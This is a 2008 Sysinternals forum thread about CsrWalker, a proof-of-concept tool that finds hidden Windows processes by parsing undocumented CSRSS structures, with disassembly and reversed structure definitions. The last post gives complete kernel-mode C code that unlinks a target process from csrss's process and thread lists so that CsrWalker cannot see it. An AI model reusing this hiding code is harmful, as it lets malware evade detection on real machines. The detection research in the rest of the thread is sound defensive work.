Sysinternals Homepage
Forum Home Forum Home > Windows Discussions > Malware
  New Posts New Posts RSS Feed - CsrWalker - processes detection from User Mode
  FAQ FAQ  Forum Search   Events   Register Register  Login Login

CsrWalker - processes detection from User Mode

 Post Reply Post Reply Page  12>
Author
Message
Diablo View Drop Down
Senior Member
Senior Member
Avatar

Joined: 16 July 2008
Location: Western Sahara
Status: Offline
Points: 251
Post Options Post Options   Thanks (0) Thanks(0)   Quote Diablo Quote  Post ReplyReply Direct Link To This Post Topic: CsrWalker - processes detection from User Mode
    Posted: 17 July 2008 at 11:43am
Seek'n'Hide game was always interesting. Especially when this seek'n'hide stuff is related to Windows Processes objects.

As you probably know exists a lot of "ultimate" hidden processes proof-of-concepts, which main idea is to hide the user land process from a different detection methods.

here just a little list of them:

Hacker Defender
FU/FUTO
rkdemo (1.0-1.2)
phide_ex
Z0mBiE
Several others not listed here.

Their main idea - is subverting Windows internals by doing a manupalations with a internals objects to hide them from Windows users and programs like TaskManager or Process Explorer.

From the other side exists a lot of public (or not public ) detectors, which main idea - reveal such hidden stuff by doing numerous checks of OS internals.

Each new hider bypasses all of them (or at least 90% of them) because it is always known how these detectors will check for hidden stuff. Most of detection methods based on locating EPROCESS or ETHREAD objects with several different ways such as PspCidTable (handle table) parsing, Scheduler lists analysis (as for example in GMER v1.14), checking of the specified EPROCESS fields such as all LIST_ENTRY, hooking KiSwapContext function, looking for threads, brute-forcing etc. Actually this all is enough for any kind of existing malware which is hiding processes while work. If exists some "unpublic malware" which is doing better hiding job, then it isn't meaningful, because it is "unpublic malware".

This was a preamble.

The mysterious CSRSS was always interesting to me, simple because it is playing a supervisor role for user land stuff. All win32 processes should notify it at process creation stage to continue work. Exactly this stuff doing all job of initializing processes subsystems (from csrsrv.dll which is a heart of CSRSS).

And exactly it - a "new" processes detector (actually build into NT since beginning). All this is completely undocumented. All what I got when tried to find any reference to this was ReactOs code, which is not complete and simple different.

It's takes a huge amount of time to reverse and rebuild the whole subsystem manager code but it was really fun and not so hard with a little piece of source code . The csrss is not a very complex thing to reverse and all most interesting stuff located in csrsrv.dll

Inside it exists not exported symbol called CsrRootProcess. It is playing a huge role in all CSRSS, because of this: CsrRootProcess is the pointer to CSR_PROCESS structure which looks like this.

//Vista/2008 csrsrv.dll (valid also for XP, 2003)
typedef struct _CSR_PROCESS {
 struct _CLIENT_ID ClientId;
 struct _LIST_ENTRY ListLink;
 struct _LIST_ENTRY ThreadList;
 struct _CSR_NT_SESSION* NtSession;
 ULONG ExpectedVersion;
 void* ClientPort;
 char* ClientViewBase;
 char* ClientViewBounds;
 void* ProcessHandle;
 ULONG SequenceNumber;
 ULONG Flags;
 ULONG DebugFlags;
 ULONG ReferenceCount;
 ULONG ProcessGroupId;
 ULONG ProcessGroupSequence;
 ULONG fVDM;
 ULONG ThreadCount;
 ULONG LastMessageSequence;
 ULONG NumOutstandingMessages;
 ULONG ShutdownLevel;
 ULONG ShutdownFlags;
 struct _LUID Luid;
 void* ServerDllPerProcessData[1];
} CSR_PROCESS, *PCSR_PROCESS;


Here the field ListLink which is LIST_ENTRY.
In csrsrv exist another unexported internal function called
CsrInsertProcess. It is inserting a other CSR_PROCESS structure to
this list entry of the CsrRootProcess.

CsrInsertProcess was a key to me, to find a CsrRootProcess.
It is called from CsrCreateProcess exported but not documented function, nearly to the end.


text:75B15E94                 call    CsrSetBackgroundPriority
.text:75B15E99                 mov     dword ptr [esi+64h], 280h
.text:75B15EA0                 mov     eax, large fs:18h
.text:75B15EA6                 mov     eax, [eax+3Ch]
.text:75B15EA9                 push    esi             ; a3
.text:75B15EAA                 push    dword ptr [eax+20h] ; a2
.text:75B15EAD                 xor     esi, esi
.text:75B15EAF                 push    esi             ; Session
.text:75B15EB0                 call    CsrInsertProcess


CsrInsertProcess looks very interesting.

.text:75B14CC9 ; int __stdcall CsrInsertProcess(int Session, int a2, int a3)
.text:75B14CC9 CsrInsertProcess proc near              ; CODE XREF: sub_75B13BF8+12Ap
.text:75B14CC9                                         ; CsrCreateProcess+214p
.text:75B14CC9
.text:75B14CC9 Session         = dword ptr  8
.text:75B14CC9 a2              = dword ptr  0Ch
.text:75B14CC9 a3              = dword ptr  10h
.text:75B14CC9
.text:75B14CC9                 mov     edi, edi
.text:75B14CCB                 push    ebp
.text:75B14CCC                 mov     ebp, esp
.text:75B14CCE                 mov     eax, [ebp+Session]
.text:75B14CD1                 push    esi
.text:75B14CD2                 mov     esi, [ebp+a3]
.text:75B14CD5                 mov     [esi+18h], eax
.text:75B14CD8                 mov     ecx, CsrRootProcess
.text:75B14CDE                 mov     edx, [ecx+0Ch]
.text:75B14CE1                 add     ecx, 8
.text:75B14CE4                 lea     eax, [esi+8]
.text:75B14CE7                 mov     [eax], ecx
.text:75B14CE9                 mov     [eax+4], edx
.text:75B14CEC                 push    edi
.text:75B14CED                 mov     [edx], eax
.text:75B14CEF                 mov     [ecx+4], eax
.text:75B14CF2                 xor     edi, edi
.text:75B14CF4
.text:75B14CF4 loc_75B14CF4:                           ; CODE XREF: CsrInsertProcess+48j
.text:75B14CF4                 mov     eax, CsrLoadedServerDll[edi]
.text:75B14CFA                 test    eax, eax
.text:75B14CFC                 jz      short loc_75B14D0B
.text:75B14CFE                 mov     eax, [eax+44h]
.text:75B14D01                 test    eax, eax
.text:75B14D03                 jz      short loc_75B14D0B
.text:75B14D05                 push    esi
.text:75B14D06                 push    [ebp+a2]
.text:75B14D09                 call    eax
.text:75B14D0B
.text:75B14D0B loc_75B14D0B:                           ; CODE XREF: CsrInsertProcess+33j
.text:75B14D0B                                         ; CsrInsertProcess+3Aj
.text:75B14D0B                 add     edi, 4
.text:75B14D0E                 cmp     edi, 10h
.text:75B14D11                 jb      short loc_75B14CF4
.text:75B14D13                 pop     edi
.text:75B14D14                 pop     esi
.text:75B14D15                 pop     ebp
.text:75B14D16                 retn    0Ch
.text:75B14D16 CsrInsertProcess endp


Regarding on this I've build a pseudo code for it.

CsrInsertProcess( .... )
{
    PCSR_SERVER_DLL ServerDll;
    ULONG i;

    InsertToList(&CsrRootProcess->ListLink, &CsrProcess->ListLink);

    for (i = 0; i < CSR_SERVER_DLL_MAX; i++)
    {
        ServerDll = CsrLoadedServerDll;

        if (ServerDll && ServerDll->NewProcessCallback)
        {
            (*ServerDll->NewProcessCallback)(CurrentProcess, CsrProcess);
        }
    }
}


As you see CsrRootProcess contains a linked list of processes.
But this is not very good way to locate this unexported symbol.
There is another exported function from which is easy extract this symbol.
It is CsrLockProcessByClientId.

.text:75B152D3 CsrLockProcessByClientId proc near   
.text:75B152D3
.text:75B152D3 arg_0           = dword ptr  8
.text:75B152D3 arg_4           = dword ptr  0Ch
.text:75B152D3
.text:75B152D3                 mov     edi, edi
.text:75B152D5                 push    ebp
.text:75B152D6                 mov     ebp, esp
.text:75B152D8                 push    ebx
.text:75B152D9                 push    esi
.text:75B152DA                 push    edi
.text:75B152DB                 mov     edi, offset unk_75B189A0
.text:75B152E0                 push    edi
.text:75B152E1                 call    ds:RtlEnterCriticalSection
.text:75B152E7                 mov     edx, [ebp+arg_4]
.text:75B152EA                 and     dword ptr [edx], 0
.text:75B152ED                 mov     esi, CsrRootProcess
.text:75B152F3                 add     esi, 8


Once you get CsrRootProcess it is possible to list most of existing processes via simple list entry parsing, where each list entry belongs to  CSR_PROCESS structure. However I found this detection method is quite unstable. I don't know why, maybe because of not enough List locking, but to check this it will be required inject detectors code inside csrss.exe address space and try to get list of processes. Since this is more than should be for PoC I'm leaving this idea and problem for everybody else, who wants to try this.

Besides this csrss also keeps a list of threads in another unexported symbol called CsrHashThread. It is a array of 256 items, where every item represents LIST_ENTRY. Each list entry item related to _CSR_THREAD structure.

typedef struct _CSR_THREAD { // <size 0x38>
  union _LARGE_INTEGER CreateTime;
  struct _LIST_ENTRY Link;
  struct _LIST_ENTRY HashLinks;
  struct _CLIENT_ID ClientId;
  struct _CSR_PROCESS* Process;
  struct _CSR_WAIT_BLOCK* WaitBlock;
  void* ThreadHandle;
  unsigned long Flags;
  unsigned long ReferenceCount;
  unsigned long ImpersonateCount;
} CSR_THREAD, *PCSR_THREAD;


This CsrHashThread symbol can be easily obtained from exported function CsrLockThreadByClientId

.text:75B15353 CsrLockThreadByClientId proc near
.text:75B15353
.text:75B15353 a1              = dword ptr  8
.text:75B15353 a2              = dword ptr  0Ch
.text:75B15353
.text:75B15353                 mov     edi, edi
.text:75B15355                 push    ebp
.text:75B15356                 mov     ebp, esp
.text:75B15358                 push    ebx
.text:75B15359                 push    esi
.text:75B1535A                 push    edi
.text:75B1535B                 mov     esi, offset unk_75B189A0
.text:75B15360                 push    esi
.text:75B15361                 call    ds:RtlEnterCriticalSection
.text:75B15367                 mov     ebx, [ebp+a1]
.text:75B1536A                 mov     edi, [ebp+a2]
.text:75B1536D                 and     dword ptr [edi], 0
.text:75B15370                 mov     eax, ebx
.text:75B15372                 and     eax, 0FFh
.text:75B15377                 lea     edx, CsrHashThread.anonymous_0[eax*8]
.text:75B1537E                 mov     ecx, [edx]


With it help I was able to build another list of processes.
 
So the most valuable here CsrRootProcess parsing. But only CLIENT_ID and some little information is available.

I've spend some time on building a little proof-of-concept detector which will take advantage of CsrRootProcess and CsrHashThread array parsing.

Results with rootktis was really amazing. Even if CSRSS internal structures doesn't gives a lot of information about processes (there is no useful pointers to ETHREAD nor EPROCESS, or maybe I must to clean my glasses?) even the little piece of information was enough to detect EVERYTHING from PoC I've.

However I do believe, that such kind of detection is useless, because of restricted information it provides. So because of this you are reading this now

See screenshots (they are not fake). Please do not bother me with asking a samples to test. If you don't have them now, then it must the reasons why you haven't them.

CsrWalker against RKDEMO v1.2.

http://img129.imageshack.us/my.php?image=cwalker2rkdemo12rq1.gif

CsrWalker against PHIDE_EX

http://img360.imageshack.us/my.php?image=cwalker3phideexpocbh1.gif

CsrWalker against Z0mBiE v1.1

http://img367.imageshack.us/my.php?image=cwalker2z0mbiepocra1.gif

CsrWalker against n0name PoC

http://img212.imageshack.us/my.php?image=cwalker1n0namepocdb0.gif

The most cool part of this -> all this done from User Mode, and all this easy to port on every NT version since 2000 till 2008.

Important Vista addition.

Since Vista there are few csrss.exe presents in memory. This was done for more isolation of the SYSTEM account processes from all others (I suppose each new user account now have its own csrss.exe). So under Vista these method of processes detection was slightly updated. Before parsing csrss.exe it is required to build a list of csrss.exe processes and then parse each of them.

It was simple for XP - get a csrss.exe process by using CsrGetProcessId function. All what it is doing -> reading variable that holds process id of csrss.exe

.text:77F5BAE2                 public CsrGetProcessId
.text:77F5BAE2 CsrGetProcessId proc near
.text:77F5BAE2                 mov     eax, CsrProcessId
.text:77F5BAE7                 retn
.text:77F5BAE7 CsrGetProcessId endp


Since Vista we can't anymore relay only on this value. The best way to get list of available csrss.exe processes will be allocate global table of the handles, and try to retrieve their names, because csrss exclusively keeps two handles of type Port/ALPC  named ApiPort and SbApiPort. However ALPC object under Vista have some open/query restrictions (for example try to look on it properties with Process Explorer you will be surprised), and this is not a way. There are few possible solutions one of them already implemented in CsrWalker. First - search for all csrss.exe named processes and try to parse them. Not bad solution, but not true hackers way. Second will be try to do experiment and inject your code in one of the SYSTEM account processes - for example one of the svchost.exe, then try from it call the same CsrGetProcessId. I'm left all this to somebody who wants to try and improve/bypass CsrWalker.

Keep in mind - this is a PoC. So it can work, and it can not work. No BSOD's I promise
Sorry for errors, fast typing.

cwalker proof-of-concept is attached (supported OS - XP/2003/VISTA).

http://rapidshare.com/files/130338856/cwalker.rar.html

P.S.
And Yeah I forget to add - die script-kiddies of any kind, no matter if you even get paid for this in the antivirus company
Source code? Are you nuts? I've tell you everything & if you still do not understand then grab IDA and go!

update: post slightly extended by Vista related stuff.


Edited by Diablo - 17 July 2008 at 3:25pm
Back to Top
a_d_13 View Drop Down
Senior Member
Senior Member
Avatar

Joined: 08 September 2007
Status: Offline
Points: 268
Post Options Post Options   Thanks (0) Thanks(0)   Quote a_d_13 Quote  Post ReplyReply Direct Link To This Post Posted: 17 July 2008 at 4:26pm
Hello,
I have to say - this is an awesome piece of work.  Good work on not only reversing it, but also writing a PoC and doing testing!  Thanks very much!

Thanks,
--AD
Back to Top
USForce View Drop Down
Senior Member
Senior Member


Joined: 26 October 2007
Location: United States
Status: Offline
Points: 150
Post Options Post Options   Thanks (0) Thanks(0)   Quote USForce Quote  Post ReplyReply Direct Link To This Post Posted: 17 July 2008 at 4:28pm
Thank you EP_X0FF Wink

It's really interesting
Back to Top
Elite View Drop Down
Senior Member
Senior Member
Avatar

Joined: 15 April 2007
Location: United States
Status: Offline
Points: 175
Post Options Post Options   Thanks (0) Thanks(0)   Quote Elite Quote  Post ReplyReply Direct Link To This Post Posted: 17 July 2008 at 6:30pm
Fun little app.
4 > 1
Back to Top
Fyyre View Drop Down
Senior Member
Senior Member
Avatar

Joined: 12 April 2006
Status: Offline
Points: 227
Post Options Post Options   Thanks (0) Thanks(0)   Quote Fyyre Quote  Post ReplyReply Direct Link To This Post Posted: 17 July 2008 at 11:48pm
complete with lovely bow icon~  good work friend =)


Edited by Fyyre - 17 July 2008 at 11:51pm
Back to Top
EASTER View Drop Down
Senior Member
Senior Member
Avatar

Joined: 27 October 2006
Location: United States
Status: Offline
Points: 337
Post Options Post Options   Thanks (0) Thanks(0)   Quote EASTER Quote  Post ReplyReply Direct Link To This Post Posted: 18 July 2008 at 5:34am

What else to possibly add to this.

Brilliant effort and thanks for the field details and accompanying commentary.

EASTER Wink

INTENSIVE TECHNICAL RESEARCH ANALYSIS AND STEALTH EXAMINER.
Back to Top
Diablo View Drop Down
Senior Member
Senior Member
Avatar

Joined: 16 July 2008
Location: Western Sahara
Status: Offline
Points: 251
Post Options Post Options   Thanks (0) Thanks(0)   Quote Diablo Quote  Post ReplyReply Direct Link To This Post Posted: 19 July 2008 at 7:10am
Thanks for the feedback.

However I also get some kind of another feedback from international hax0rs community.

They already bypassed this tool

This is quote from one of the chinese forums (I can't register and login there):

Quote bypassed by GUI hacking


Here is the mine answer:

1)
2) GUI is Graphical User Interface abbreviation. This application is CUI - Console User Interface. So how it can be bypassed by GUI if it haven't GUI? They definitely not familar with common Windows abbreviations or bypassed some other application

Another quote which make me laught
Quote Bypassed by ZwOpenProcess hook


Here is mine answer:
Regarding to ZwOpenProcess it is a stub in ntoskrnl.exe which looks like this (Server 2003)

.text:0043B7E0                 mov     eax, 80h
.text:0043B7E5                 lea     edx, [esp+ProcessHandle]
.text:0043B7E9                 pushf
.text:0043B7EA                 push    8
.text:0043B7EC                 call    _KiSystemService
.text:0043B7F1                 retn    10h


This is stub. It isn't called inside NtOpenProcess SSDT entry. If you hooked it, it is not enough to prevent application from opening other process, simple because this function never been called from user mode.

If you hooked ZwOpenProcess in user mode, than it have sense. But you should hook this function inside detector.

It is just example of illeterate nature of some hax0rs , who are unfamilar with common abbreviations.

And this is doesn't meaningful simple because GUI hacking and preventing detector from work isn't means BYPASSING. Using such "tricks" is a sign not of hackers, but suxx0rs The best proof of bypassing will be not pathetic tricks as listed above - the best proof of your abilities will be coding undetected sample of hidden process hider, which will bypass conceptually all public detectors (including csrwalker), as it did phide_ex in its time. Anything else is bullsh*t of unsatisfied hax0rs.

Edited by Diablo - 19 July 2008 at 7:11am
Back to Top
Meriadoc View Drop Down
Senior Member
Senior Member
Avatar

Joined: 22 August 2006
Status: Offline
Points: 240
Post Options Post Options   Thanks (0) Thanks(0)   Quote Meriadoc Quote  Post ReplyReply Direct Link To This Post Posted: 19 July 2008 at 8:49am
VERY nice work Diablo...thankyou!
Back to Top
Russell View Drop Down
Groupie
Groupie


Joined: 20 June 2007
Status: Offline
Points: 85
Post Options Post Options   Thanks (0) Thanks(0)   Quote Russell Quote  Post ReplyReply Direct Link To This Post Posted: 20 July 2008 at 2:39am
Thanks for sharing CsrWalker Diablo. Great Tool! Thanks again for the time and work you put into it.
Back to Top
Orkblutt View Drop Down
Newbie
Newbie


Joined: 19 July 2005
Status: Offline
Points: 20
Post Options Post Options   Thanks (0) Thanks(0)   Quote Orkblutt Quote  Post ReplyReply Direct Link To This Post Posted: 19 September 2008 at 3:42pm
Hi DiabloNova,

just a little snipet to bypass your tool... I was too lazy to try to implement it from userland and i found an almost ready to use implementation from the 0vercl0ck's blog.
I just added the CSR_THREAD and the Vista part.
I didn't try to check if the hardcoded offset are valid for Vista... it's just for the idea...

best regards,

Orkblutt

/*
Anti CsrWalker from r0 by Orkblutt
( http://orkblutt.free.fr )

Original idea and implementation by 0vercl0ck
http://overclok.free.fr/Codes/PspCidTable/UnlinkInCrss%20-%20Ring0.html
http://0vercl0k.blogspot.com/

modified to unlink CSR_THREAD and to work under Vista
*/

int UnlinkIt(ULONG Pid, PEPROCESS pCsrss)
{
   PEPROCESS                pCurrentEprocess;
    PLIST_ENTRY              pleCurrent;
    LIST_ENTRY               lEntry;
    ULONG                    ulStartingValue;
    KAPC_STATE               kApcState;
    PUCHAR                   pPeb , pPebLdr , pPebLdrEntry , imgBaseCsrsrv , name , CsrLockProcessByClientId = 0 , CsrRootProcess , CsrLockThreadByClientId, CsrThreadHashTable ;
    PIMAGE_DOS_HEADER        pImgDosHeader;
    PIMAGE_NT_HEADERS        pImgNtHeader;
    PIMAGE_EXPORT_DIRECTORY  pImgExportDirectory;
    PULONG                   rvaNameTable , rvaAdressTable;
    int                     i;
    PCSR_PROCESS            pCsrProcess;
    PCSR_THREAD                pCsrHashThread;

    imgBaseCsrsrv            = NULL;
    CsrLockProcessByClientId = NULL;
    CsrLockThreadByClientId = NULL;
    CsrThreadHashTable = NULL;
    
   

 
    KeStackAttachProcess( (PKPROCESS)pCsrss , &kApcState );


    pPeb    = (PUCHAR)*(PULONG)((PUCHAR)pCsrss + 0x1b0);                //   +0x1b0 Peb              : Ptr32 _PEB
    pPebLdr = (PUCHAR)*(PULONG)(pPeb + 0x00c);                         //   +0x00c Ldr              : Ptr32 _PEB_LDR_DATA

    pleCurrent        = (PLIST_ENTRY)(pPebLdr+0x00c);                  //+0x00c InLoadOrderModuleList : _LIST_ENTRY
    pPebLdrEntry      = (PUCHAR)pleCurrent->Flink;
    ulStartingValue   = (ULONG)pPebLdrEntry;
    pleCurrent        = (PLIST_ENTRY)pleCurrent->Flink;


   
    while (ulStartingValue != (ULONG)pleCurrent->Flink)
    {
        // DbgPrint("Modul : %ws.\n" , *(PULONG)(pPebLdrEntry+0x024+0x004) );   //+0x024 FullDllName      : _UNICODE_STRING //   +0x004 Buffer           : Ptr32 Uint2B
        if ( wcsstr( (wchar_t*)*(PULONG)(pPebLdrEntry+0x024+0x004) , L"CSRSRV.dll" ) != NULL )
        {
            imgBaseCsrsrv = (PUCHAR)*(PULONG)(pPebLdrEntry + 0x018) ;                   //   +0x018 DllBase          : Ptr32 Void
            break;
        }
        pPebLdrEntry = (PUCHAR)pleCurrent->Flink;
        pleCurrent   = (PLIST_ENTRY)pleCurrent->Flink;
    }
    if (imgBaseCsrsrv == NULL)
    {
        KeUnstackDetachProcess( &kApcState );
        return 0;
    }

    //DbgPrint("Image Base Csrsrv.dll : %x." , imgBaseCsrsrv );

    /*                      */
    /* Parcours de son EAT  */

    pImgDosHeader       = (PIMAGE_DOS_HEADER)imgBaseCsrsrv;
    pImgNtHeader        = (PIMAGE_NT_HEADERS)(imgBaseCsrsrv + pImgDosHeader->e_lfanew);
    pImgExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(imgBaseCsrsrv + pImgNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    rvaNameTable   = (PULONG)(imgBaseCsrsrv + pImgExportDirectory->AddressOfNames);
    rvaAdressTable = (PULONG)(imgBaseCsrsrv + pImgExportDirectory->AddressOfFunctions);

    for ( i = 0 ; i < (int)pImgExportDirectory->NumberOfFunctions ; i++)
    {
        //DbgPrint("Function : %s.\n" , imgBaseCsrsrv + rvaNameTable );
        if ( strcmp("CsrLockProcessByClientId" , (const char *)imgBaseCsrsrv + rvaNameTable) == 0 )
        {
            CsrLockProcessByClientId = imgBaseCsrsrv + rvaAdressTable;
            // DbgPrint("CsrLockProcessByClientId : %x.\n" , CsrLockProcessByClientId );
            break;
        }
    }
    if ( CsrLockProcessByClientId == NULL )
    {
        KeUnstackDetachProcess( &kApcState );
        return 0;
    }

  
    for ( i = 0 ; i < 50 ; i++ )
    {
        if ( (*(CsrLockProcessByClientId+i) == 0x83) && (*(CsrLockProcessByClientId+i+1) == 0x22) && (*(CsrLockProcessByClientId+i+2) == 0x00) && (*(CsrLockProcessByClientId+i+3) == 0x8B) && (*(CsrLockProcessByClientId+i+4) == 0x35) &&
                (*(CsrLockProcessByClientId+i+9) == 0x83) && (*(CsrLockProcessByClientId+i+10) == 0xC6) && (*(CsrLockProcessByClientId+i+11) == 0x08) )
        {
            CsrRootProcess = (PUCHAR)*(PULONG)(*(PULONG)(CsrLockProcessByClientId+i+5));
            break;
        }
    }
    if ( i == 50 )
    {
        KeUnstackDetachProcess( &kApcState );
        return 0;
    }


    pCsrProcess = (PCSR_PROCESS)CsrRootProcess;

  
    pCurrentEprocess        = IoGetCurrentProcess();
    ulStartingValue         = (ULONG)pCurrentEprocess;

    do
    {
        if (Pid == *(PULONG)((PUCHAR)pCurrentEprocess + 0x084))
            break;

        pleCurrent = (PLIST_ENTRY)((PUCHAR)pCurrentEprocess + 0x88);    //   +0x088 ActiveProcessLinks : _LIST_ENTRY
        pCurrentEprocess = (PEPROCESS)((PUCHAR)pleCurrent->Flink - 0x88);

    }
    while ((ULONG)pCurrentEprocess != ulStartingValue);

    if ((ULONG)pCurrentEprocess == ulStartingValue)
    {
        KeUnstackDetachProcess( &kApcState );
        return 0;
    }



    i = 0;  

    lEntry  = pCsrProcess->ListLink;
    ulStartingValue = (ULONG)pCsrProcess;
    pCsrProcess = (PCSR_PROCESS)((PUCHAR)lEntry.Flink - 0x8);


    while (ulStartingValue != (ULONG)pCsrProcess)
    {
        if ( (ULONG)pCsrProcess->ClientId.UniqueProcess == *(PULONG)((PUCHAR)pCurrentEprocess + 0x084) ) //   +0x084 UniqueProcessId  : Ptr32 Void
        {
            *(PULONG)(pCsrProcess->ListLink.Blink)             = (ULONG) pCsrProcess->ListLink.Flink;
            *(PULONG)((PUCHAR)pCsrProcess->ListLink.Flink + 4) = (ULONG)pCsrProcess->ListLink.Blink;
            i = 1;
        }

        lEntry = *(lEntry.Flink);
        pCsrProcess = (PCSR_PROCESS)((PUCHAR)lEntry.Flink - 0x8);
    }
    if ( i == 0 )
    {
        KeUnstackDetachProcess( &kApcState );
        return 0;
    }

    for ( i = 0 ; i < (int)pImgExportDirectory->NumberOfFunctions ; i++)
    {
        if ( strcmp("CsrLockThreadByClientId" , (const char *)imgBaseCsrsrv + rvaNameTable) == 0 )
        {
            CsrLockThreadByClientId = imgBaseCsrsrv + rvaAdressTable;
            break;
        }
    }

    if ( CsrLockThreadByClientId == NULL )
    {
        KeUnstackDetachProcess( &kApcState );
        return 0;
    }


    for ( i = 0 ; i < 50 ; i++ )
    {
        if ( (*(CsrLockThreadByClientId+i) == 0x8D) && (*(CsrLockThreadByClientId+i+2) == 0xC5))
        {
            CsrThreadHashTable = (PUCHAR)(*(PULONG)(CsrLockThreadByClientId+i+3));
            break;
        }
    }
    if(
CsrThreadHashTable == 0)
    {
         
KeUnstackDetachProcess( &kApcState );
          return 0;
    }

    for (i = 0; i < 256; i++)
    {
        PLIST_ENTRY ListHead, NextEntry;

        ListHead = (PLIST_ENTRY)(CsrThreadHashTable + (8 * i));

        NextEntry = ListHead->Flink;

        while (NextEntry != ListHead)
        {
            pCsrHashThread = CONTAINING_RECORD(NextEntry, CSR_THREAD, HashLinks);
            if (pCsrHashThread)
            {
                if ((ULONG)pCsrHashThread->Process->ClientId.UniqueProcess == Pid)
                {
                    *(PULONG)(NextEntry->Blink)             = (ULONG) NextEntry->Flink;
                    *(PULONG)((PUCHAR)NextEntry->Flink + 4) = (ULONG)NextEntry->Blink;
                }
            }
            NextEntry = NextEntry->Flink;
        }
    }

    KeUnstackDetachProcess( &kApcState );
    return 1;
}


void UnlinkFromCsrss(ULONG PidToHide)
{

    PEPROCESS                pCurrentEprocess;
    PLIST_ENTRY              pleCurrent;
    ULONG                    ulStartingValue;

    pCurrentEprocess        = IoGetCurrentProcess();
    ulStartingValue         = (ULONG)pCurrentEprocess;

    do
    {
        if (strncmp("csrss.exe" , (const char *)pCurrentEprocess + 0x174 , 15) == 0)
        {
            if(UnlinkIt(PidToHide, pCurrentEprocess))
                DbgPrint("%d unlinked from csrss:%d\n", PidToHide, *(PULONG)((PUCHAR)pCurrentEprocess + 0x084));
            else
                DbgPrint("can't unlink %d from csrss:%d\n", PidToHide, *(PULONG)((PUCHAR)pCurrentEprocess + 0x084));

        }
        pleCurrent = (PLIST_ENTRY)((PUCHAR)pCurrentEprocess + 0x88);
        pCurrentEprocess = (PEPROCESS)((PUCHAR)pleCurrent->Flink - 0x88);

    }
    while ((ULONG)pCurrentEprocess != ulStartingValue);
}
 


Edited by Orkblutt - 19 September 2008 at 3:54pm
Back to Top
 Post Reply Post Reply Page  12>
  Share Topic   

Forum Jump Forum Permissions View Drop Down